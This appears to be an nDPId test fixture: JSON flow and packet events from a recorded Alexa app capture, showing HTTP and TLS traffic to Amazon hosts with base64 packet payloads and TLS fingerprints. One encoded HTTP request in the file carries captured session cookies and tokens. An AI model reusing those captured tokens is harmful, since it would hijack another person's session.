+00429{"flow_id":77,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1130,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":338574,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwijBAAOcGFco0XuiGrBAq2ABQwc3F00\/v1ylbBnASH\/5mLQAAAgQFtAEDAwY="} +00415{"flow_id":77,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1131,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":340402,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoBx9AAEAGP+SsECrYNF7ohsHNAFDXKVsGxdNP8FAQAVewngAA"} +01458{"flow_id":77,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1132,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":341226,"pkt_caplen":834,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":834,"pkt_l4_len":800,"pkt":"AMDKkaPvePiC0\/vCCABFAAM0ByBAAEAGPNesECrYNF7ohsHNAFDXKVsGxdNP8FAYAVexrQAAR0VUIC9tYW5pZmVzdC9waXRhbmd1aS5hcHBjYWNoZSBIVFRQLzEuMQ0KSG9zdDogYWxleGEuYW1hem9uLmNvbQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDUuMS4xOyBMR0xTNzUxIEJ1aWxkL0xNWTQ3Vjsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS81Ni4wLjI5MjQuODcgTW9iaWxlIFNhZmFyaS81MzcuMzYNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KQ29va2llOiBjc3JmPS04NDYxMjczODsgc2Vzc2lvbi1pZC10aW1lPTIwODI3ODcyMDFsOyBzZXNzaW9uLWlkPTE1NC0zMTAzMjY1LTI5MzI1MTY7IGxjLW1haW49ZW5fVVM7IHViaWQtbWFpbj0xNTItODc2MzUwNS03MzA0OTA0OyBzZXNzaW9uLXRva2VuPSI3S0hoNVRqUzVrSkVsck5LcDdpUVlWZEY3U1VyYVV6QzdaallYOFNobzF5bXFZaGp3NElNR1FPNUE4Y3B1TStyS0ZyTVU2a3VjUlpwUDhSb3p5c2hDRVRWdlBIYWVHSzBXSk9LaW1nMnJlRTJvRmszOXhJemVzUXFoeGE5NFZhNVpuOFgyc1E5MDNqT2w2UlllWVowL2VCWDhkdVpoYVRNVE1pRk0veFdsS0NmZHdQNTF4WDhFRmNGcTI2OXBaWkR4YXpNSVJnbzQ1UT0iOyB4LW1haW49IloyU2tCV2VGdDh0YWt4P3VvSE1oQmdXS0o4QlZubTlWMFprVXNmM3FmbHBCaEBMSDBDVDBVU2hvaE1xSHpvWWYiDQpYLVJlcXVlc3RlZC1XaXRoOiBjb20uYW1hem9uLmRlZS5hcHANCg0K"} +00843{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1132,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":77,"flow_packet_id":4,"flow_first_seen":1490976076275,"flow_last_seen":1490976076341,"flow_tot_l4_data_len":888,"flow_min_l4_data_len":20,"flow_max_l4_data_len":800,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49613,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"http": {"hostname":"alexa.amazon.com","url":"alexa.amazon.com\/manifest\/pitangui.appcache","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36"}} +00425{"flow_id":77,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1134,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":401752,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAogcFAANsGKkE0XuiGrBAq2ABQwc3F00\/w1yleElAQf\/Mu9gAAAAAAAAAA"} +02247{"flow_id":77,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1136,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":421074,"pkt_caplen":1400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1400,"pkt_l4_len":1366,"pkt":"ePiC0\/vCAMDKkVoBCABFAAVqgcJAANsGJP40XuiGrBAq2ABQwc3F00\/w1yleElAYf\/OA3AAASFRUUC8xLjEgMjAwIE9LDQp4LWFtem4tUmVxdWVzdElkOiA0NTgzY2RmMy0xNjJiLTExZTctYTg4OC1iMWM3MTU4OWE1MzgNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpFeHBpcmVzOiBGcmksIDMxIE1hciAyMDE3IDE2OjAxOjE2IFVUQw0KQ29udGVudC1UeXBlOiB0ZXh0L2NhY2hlLW1hbmlmZXN0DQpDb250ZW50LUxlbmd0aDogMTA4OA0KRGF0ZTogRnJpLCAzMSBNYXIgMjAxNyAxNjowMToxNSBHTVQNCg0KH4sIAAAAAAAAAJWW3W+rNhTA3\/NXVNrbJAeDY8B96207rVrbW91m2sM0IX8SbgAj27lp99fPQBMoEF1NSqLY5+fz5eNj397c\/n5\/9XTz\/PDb\/et29csVREEE\/SdMrkJ4DaOrl6fV6ralrlcBtzbACZYRoE2zrop67Wf66TTdUAV+6LdhWunaBTcV\/VfX9xWTJnt0a+fUguBJXBB8yy8ItruR4IvWe2nK98fbu+zBXRCcVBVVHmAaIwVsI+m+qPPH+7sshvDNf9d58YGkscACKPqj4Lpe+59+2sfdTtgghCmKQNFQATqiqfMJkaANJp7Y6VoCI11R00so4TFUXpg9y+OTZkUp76Q3LNf2xxTlOKLxSesFdTJEKex9W7TLyoN0WrtdIOOQUdCOt+34hRbGJ2TrdQ+ZGNEpw\/FA3+q6ltxJMbBcH2pn3oOQEBy2AaG3TNbgz9fB+AmRqYBt7qZyqesAEZikINc6L2VW6lwPYlUW+c69OuoONojTGKFWRz87pGtHa2GBMlIGUYJJ0jJ8R5cJFKYJbolaH7OmpO8+BYtgwiLFWrCFsoYe7GiHysI6G2x4ghE47gonPVALOnG\/pxjHEvm9EYtMdbAFD2AcJwz4HKvCVNQVuv5C+T43Pn0iu5N273Tzv9ZsKSul+7ts4+G0kf\/MVqdsw0FjikoCS+1uKg8jFqKfaG+0cYYWbqY8lFGIwVelpBmt6ot9ym5CwsklQ8tL8CaKGKg1oMYdtdlP5QTBCM3MX0gjSekGg25\/+5Nzru9ezjHdRDNlP80vVywUl5ZdTJyI4oiDvvdlT+1U9vipXGrtClXwLk82QDxhEAh9rI\/UiBtj9HGoUa2ZDGAYYl\/FVZ4d\/bpM8p2eEGHCI9URlLdaM6HdFCEIww4RXadaUhMlUogxM1eDUgI3gy8LgBI8GrviaDNBMES+WZx1zIE0VmnvR9fx\/e1xbmlTMkWEjq0tRJWKNE7HUc0Nkg0nvdPtwfY\/fH+YMYpADF5ozb1HZ8eavgFnlRajEu8WMIVY8ikKenjjbfEMmu2+KEsbRFRhDLpWMyj5kLFYMgSsa\/uOEc+j2pmhKiZEgj7KGyGMtGN1pZSNdwojCrr\/WXXwPe\/zRWObwl8RxnuEIgJBN\/ThAW1onftLsf1f9ef5fMTOa5AkCQSlpsLH6ivDZmI\/CvWExUJFCnwMQW7kO9CNWwCJQlAt+xAtmGec+oY1Mj9WaXx\/twFkxN+H\/QgcJXU7acbB91SSEixPVLuVc4RhxvgY6R5SM0ww6G9rW\/keB3a6OimdOyb9Y0yAtvhOSv2DLg6jEA2s7zbKb33L+rtISNs+FNo6eGi38Ix9hBUonIhwEiuo5bH38rt3jiRMnd+F3\/37ryxYkJLQnxYhG\/tpmvnDZ70HTfd2PI+Gt6NtaFDUQr6td64qV6vn++1fX7\/9cb36dfUfPnBO\/LMKAAA="} +00415{"flow_id":77,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1137,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":422990,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoByFAAEAGP+KsECrYNF7ohsHNAFDXKV4SxdNVMlAQAWGoRgAA"} +00415{"flow_id":77,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1138,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976077,"pkt_ts_usec":604015,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoByJAAEAGP+GsECrYNF7ohsHNAFDXKV4SxdNVMlARAWGoRQAA"} +00423{"flow_id":77,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1139,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976077,"pkt_ts_usec":660439,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAofjpAAOcGIcg0XuiGrBAq2ABQwc3F01Uy1yleE1ARAH+pJgAAAAAAAAAA"} +00416{"flow_id":77,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1140,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976077,"pkt_ts_usec":663527,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoByNAAEAGP+CsECrYNF7ohsHNAFDXKV4TxdNVM1AQAWGoRAAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1141,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1490976080485,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38404,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1141,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":485167,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA80qBAAEAGOXysECrYIsc08JYEAbs8Ao8fAAAAAKAC\/\/9XyQAAAgQFtAQCCAoA9l2\/AAAAAAEDAwg="} +00443{"flow_id":78,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1142,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":542065,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAOsGYRwixzTwrBAq2AG7lgTyw5w6PAKPIKASaN+a6gAAAgQFtAQCCApEF4DYAPZdvwEDAwg="} +00431{"flow_id":78,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1143,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":543197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA00qFAAEAGOYOsECrYIsc08JYEAbs8Ao8g8sOcO4AQAVcxOQAAAQEICgD2XcZEF4DY"} +00785{"flow_id":78,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1144,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":544389,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"AMDKkaPvePiC0\/vCCABFAAE40qJAAEAGOH6sECrYIsc08JYEAbs8Ao8g8sOcO4AYAVdhlgAAAQEICgD2XcZEF4DYFgMBAP8BAAD7AwOX\/QoHOQfrIm4YrainwIcb8HJqxyAya+r9gcsMJ\/OOBSCuITFLxCcAmkxVA5xh9l9LJAIe6ginKsjl8g3o3EcTxQAgmprMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACSCgoAAP8BAAEAAAAALQArAAAoY29nbml0by1pZGVudGl0eS51cy1lYXN0LTEuYW1hem9uYXdzLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACPr6AB0AFwAYGhoAAQA="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1144,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":78,"flow_packet_id":4,"flow_first_seen":1490976080485,"flow_last_seen":1490976080544,"flow_tot_l4_data_len":404,"flow_min_l4_data_len":32,"flow_max_l4_data_len":292,"flow_avg_l4_data_len":101,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38404,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cognito-identity.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00431{"flow_id":78,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1145,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":602253,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0HN1AAOsGREcixzTwrBAq2AG7lgTyw5w7PAKQJIAQAHcxBQAAAQEICkQXgOgA9l3G"} +02378{"flow_id":78,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1146,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":606156,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcHN5AAOsGPp4ixzTwrBAq2AG7lgTyw5w7PAKQJIAQAHcJzwAAAQEICkQXgOgA9l3GFgMDAFkCAABVAwNj2KctM0Na\/qkL3AhDQbbmgHmF1exA4e8dcjKcsWPkOiA8m4w7XaqiKOLPNIUJPj6PG\/89XMnaw2YEcNPU6Y+GL8AvAAAN\/wEAAQAACwAEAwABAhYDAwt\/CwALewALeAAGNjCCBjIwggUaoAMCAQICEGwI7BVOWmitZ3sRtiZfemYwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA1MjUwMDAwMDBaFw0xNzA2MjIyMzU5NTlaMIGCMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjExMC8GA1UEAwwoY29nbml0by1pZGVudGl0eS51cy1lYXN0LTEuYW1hem9uYXdzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALEVyrTia54iSkmNIRGZmxUNEuVY3MLSjObtHGMkw7JTq\/1eTc0SyWtwbLzUTEJE6lkpr4Z0yGlUyPs8tIIwEu1VABPNFNfOBuND80no464s\/smspX52u+dpEygzue+\/PZtYZu6y1Wp9inNZvnmHP55j+6091tVGkUiojxzlwtmx99grexjeBuvonQEOqw\/m9YhKDaEqQe1G8FQjT7GXFyl1Ur55CUl4qzK6T4zs1A7ZkkJzePZkqTGIS7yl6IpGbHkgCS17JuQBRa4Kx9tUUYNOP6SAQhncfthD7WR+8IQgUVoBT2kSd8tkb0gi7fkTOevZaCw60d14pDtXm1LZCdcCAwEAAaOCAqUwggKhMFMGA1UdEQRMMEqCHmNvZ25pdG8taWRlbnRpdHkuYW1hem9uYXdzLmNvbYIoY29nbml0by1pZGVudGl0eS51cy1lYXN0LTEuYW1hem9uYXdzLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABVOjycDwAAAQDAEYwRAIgeRx26qlwGuyp5CZo6169qfCP7eBBq6wgfiBI8uf2ZXQCIAqZ+8wMSI3anvAs9qU2W0DX8hQHMYVBeJlmWOyt6OGPAHcApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFU6PJwcQAABAMASDBGAiEAve+QSBc5nvjPJqYTbvkGkXTBlRpeoe82E9AtfBA+co4CIQDBquBi8+PV+5ofABQ7Q0wr+o+kmWFNed+WVgrlsofBajANBgkqhkiG9w0BAQsFAAOCAQEAoRTuYjU="} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1146,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":78,"flow_packet_id":6,"flow_first_seen":1490976080485,"flow_last_seen":1490976080606,"flow_tot_l4_data_len":1916,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38404,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cognito-identity.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02388{"flow_id":78,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1147,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":607043,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcHN9AAOsGPp0ixzTwrBAq2AG7lgTyw6HjPAKQJIAQAHdmLwAAAQEICkQXgOgA9l3GgHSg6uLkzhbMvP38DorwCrBJ7tYjkxurspgkr9umwjIueJqITvY2CdnPF9ymYw29XOZiddB8omiDeF9PGl\/be\/oZcrTLppLW0vre7mvO\/NZKoK70UhxYBxqk\/\/wM5ZAXRkZGVi8S5TOiwvJZC25SGVgnuMd+zBfqfFp0CW1XoH6www1AdkELDMRWZikoacZHN661AMavapsPQ20yzXEwfWOZUvGcgVcugYZReoabBe4LgIPpGnGRoXw7qzLbrqv7CgasfNOUXNnZ6rdJjndgVL\/duEjtSIuR\/6roDFhD6BbAUFaJyg75DaN4oGJcRPk3gWnVUxE4DcUGrDsABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeM="} +01102{"flow_id":78,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1148,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":607335,"pkt_caplen":559,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":559,"pkt_l4_len":525,"pkt":"ePiC0\/vCAMDKkVoBCABFAAIhHOBAAOsGQlcixzTwrBAq2AG7lgTyw6eLPAKQJIAYAHdwGgAAAQEICkQXgOgA9l3GS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMBTQwAAUkDABdBBIrqCmcvg0vwWOeh3N2adQoX0qaqDalxl3WY1AX48Lq1UG0++2Mtd64UC8sFHOlg+CxXsdytUgQUobtnNDXPQZYEAQEAdBxUr7v6EkZwgVuVqcktsjoB\/vOHw2J9cBbqEBPPisNPNzbjuiY1zQ8118+qCgkYfmBJkv8WGaaQ3E1ajG5sPHiRaWffMT6jUpYgGcIjeulOE6wEQGvWu\/eAVyOFHPjHCo+QpnB9KHnv6Mjc3+Ka0QFFSADROBxE9Bdzxdc5jTn1XHfh3Mdr3\/vLhpjbY1YdS5VGbV4fcBiB6v3ABfr52BGn8c2zYRCn0H9tUoRM7qbnW5RdCkMFMpOkaOYpBgX5INWVCeQBuG3J\/yUtI7CStx2jkU30WrycEG9\/BsUBLe1JoJj4Xm9psTZ43kVAg+Td5iYOQuhCKOQy6+IBFaYCYRYDAwAEDgAAAA=="} +01201{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1148,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":78,"flow_packet_id":8,"flow_first_seen":1490976080485,"flow_last_seen":1490976080607,"flow_tot_l4_data_len":3921,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":490,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38404,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cognito-identity.us-east-1.amazonaws.com","server_names":"cognito-identity.amazonaws.com,cognito-identity.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=cognito-identity.us-east-1.amazonaws.com","alpn":"h2,http\/1.1","fingerprint":"56:17:8F:E9:45:10:32:78:FF:FD:E3:09:60:5A:B5:3B:8D:8C:F8:34"}} +00431{"flow_id":78,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1149,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":608935,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA00qNAAEAGOYGsECrYIsc08JYEAbs8ApAk8sOh44AQAWIqbAAAAQEICgD2XcxEF4Do"} 